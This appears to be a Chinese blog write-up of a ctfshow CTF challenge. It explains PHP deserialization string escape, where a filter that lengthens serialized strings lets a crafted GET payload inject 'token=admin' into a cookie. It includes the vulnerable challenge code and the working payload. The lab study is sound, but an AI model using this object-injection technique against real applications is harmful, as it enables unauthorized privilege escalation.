php反序列字符串逃逸
最近在做ctfshow上得web入门反序列化以及php特性的部分,讲讲反序列化字符串逃逸把。`
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
题的代码如上所示这代码的功能通过序列化以生成一段cookie,这个页面上也没有找到flag,看了下注释发现了一个message.php访问message.php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 15:13:03
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
发现了这样的代码,之前生成的cookie进行了反序列化,而要读取flag需要token变为admin而之前的代码无法使得token通过直接赋值变成admin,那么我们应该利用可以传的参数将php序列化字符串给拼接进而去传token的值,先写出exp
<?php
class message{
public $token="admin";
}
$a=new message();
echo serialize($a);
在反序列化得时候php会根据s所指定得字符串长度去读后面的字符串.
对于这个O的含义是代表了一个对象而那个4代表了这个对象有多少属性,我们可以传入这样的参数
?f=1&m=1&t=1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
index.php的代码上当匹配到fck时会把fck替换为loveU,而这样传是为了让代码后半部分的token与admin挤掉token与user,从而完成了反序列化字符串逃逸
没有被替换的序列化字符串
O:7:“message”:4:{s:4:“from”;s:1:“1”;s:3:“msg”;s:1:“1”;s:2:“to”;s:136:“1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck”;s:5:“token”;s:5:“admin”;}";s:5:“token”;s:4:“user”;}PHP会认为s:136:“1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck”;s:5:“token”;s:5:“admin”;}";这个部分一块的